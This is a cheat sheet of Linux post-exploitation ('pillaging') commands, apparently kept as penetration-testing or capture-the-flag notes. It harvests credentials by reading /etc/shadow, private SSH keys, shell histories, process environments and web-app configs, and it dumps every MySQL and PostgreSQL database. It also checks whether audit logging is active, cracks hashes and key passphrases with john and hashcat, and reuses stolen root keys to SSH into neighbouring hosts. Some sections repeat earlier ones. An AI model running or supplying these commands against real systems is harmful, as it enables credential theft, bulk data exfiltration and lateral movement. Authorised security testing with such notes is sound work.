Linux Pillaging

# Dump password hashes for crackin
cat /etc/shadow
 
# Hunt every private SSH key on the box
find / \( -name "id_rsa*" -o -name "id_ed25519*" -o -name "id_ecdsa*" -o -name "id_dsa*" \) 2>/dev/null
 
# Admin command history (creds, hosts, one-liners)
cat /root/.bash_history /root/.zsh_history /home/*/.bash_history 2>/dev/null
 
# Grep web/app/system trees for password strings
grep -rniE "password|passwd|secret|api[_-]?key" /var/www /etc /opt /srv 2>/dev/null
 
# Web app DB configs (highest-value foothold creds)
find /var/www -name "wp-config.php" -o -name ".env" -o -name "config.php" -o -name "database.yml" 2>/dev/null
 
# Process environment variables (often hold secrets)
cat /proc/*/environ 2>/dev/null | tr '\0' '\n' | grep -iE "pass|key|secret|token"
 
# mysql config
cat /etc/mysql/debian.cnf
 
# Dump every database once you have creds
mysqldump -u <USER> -p<PASS> --all-databases > all_databases.sql
 
# Map the next targets
cat /etc/hosts /root/.ssh/known_hosts 2>/dev/null; arp -a; ip neigh
 
# Find unmounted partitions hiding data
lsblk; blkid; cat /etc/fstab
 
# Run LinPEAS with full root visibility, keep the log
bash linpeas.sh -a 2>&1 | tee linpeas_root.txt

# Is logging/EDR watching
systemctl is-active auditd 2>/dev/null; ls -la /var/log/audit 2>/dev/null

# Password hashes 
cat /etc/shadow
cat /etc/shadow | grep -vE ':[*!]:' > hashes.txt
 
# History files (root first, then all users)
cat /root/.bash_history /root/.zsh_history 2>/dev/null
cat /home/*/.bash_history /home/*/.zsh_history 2>/dev/null
grep -iE "pass|secret|key|mysql|ssh|scp|curl|wget" /root/.bash_history 2>/dev/null
 
# App + service configs and process environments that hold real creds
grep -i "DB_PASSWORD" /var/www/*/wp-config.php 2>/dev/null
find /var/www -name ".env" -exec cat {} \; 2>/dev/null
cat /etc/mysql/debian.cnf 2>/dev/null
cat /proc/*/environ 2>/dev/null | tr '\0' '\n' | grep -iE "pass|key|secret|token|api"
 
# Locate and read every private SSH key (root/admin first)
find / \( -name "id_rsa*" -o -name "id_ed25519*" -o -name "id_ecdsa*" \) 2>/dev/null
cat /root/.ssh/id_rsa 2>/dev/null
for u in /home/*; do echo "=== $u ==="; cat "$u"/.ssh/id_rsa 2>/dev/null; done
 
# Where do those keys go, and who can come in?
cat /root/.ssh/known_hosts /root/.ssh/config 2>/dev/null
cat /root/.ssh/authorized_keys /home/*/.ssh/authorized_keys 2>/dev/null

# MySQL/MariaDB: socket/maintenance auth then full dump
mysql -u root            # try no-password first
mysqldump -u root -p --all-databases > all_databases.sql
 
# PostgreSQL: local superuser via peer auth
sudo -u postgres psql -c '\l'
pg_dumpall > pg_all.sql
 
# SQLite: no service needed, just the file
find / \( -name "*.db" -o -name "*.sqlite" -o -name "*.sqlite3" \) 2>/dev/null
sqlite3 <FILE> .tables
 
# Storage the live mount might hide
lsblk; blkid; cat /etc/fstab
 
# Backups, archives, version control, and user/app data
find / \( -name "*.bak" -o -name "*.old" -o -name "*.tar.gz" -o -name "*.zip" \) 2>/dev/null
find / -name ".git" -type d 2>/dev/null
ls -la /var/mail /var/spool/mail 2>/dev/null

# Who does this host already know?
cat /etc/hosts; cat /root/.ssh/known_hosts 2>/dev/null
arp -a; ip neigh; ip route
 
# What's listening / connected internally
ss -tulnp 2>/dev/null || netstat -tulnp 2>/dev/null
 
# Mounted or exported shares = other systems
grep -iE "nfs|cifs|smb" /etc/fstab; cat /etc/exports 2>/dev/null
showmount -e localhost 2>/dev/null

# Full-visibility sweep, keep the log as evidence
bash linpeas.sh -a 2>&1 | tee linpeas_root.txt
 
# Re-run exploit suggester now that root-only configs are readable
./linux-exploit-suggester.sh 2>&1 | tee les_root.txt

# Combine passwd + shadow, then crack with john
unshadow /etc/passwd /etc/shadow > unshadow.txt
john --wordlist=/usr/share/wordlists/rockyou.txt unshadow.txt
 
# Or crack a single format with hashcat
hashcat -m 1800 hashes.txt /usr/share/wordlists/rockyou.txt

# Copy a found key off the box and fix perms
chmod 600 root_key
# Crack an encrypted key's passphrase
ssh2john root_key > key.hash
john --wordlist=/usr/share/wordlists/rockyou.txt key.hash
# Test against discovered hosts
ssh -i root_key root@<TARGET_IP> -o StrictHostKeyChecking=no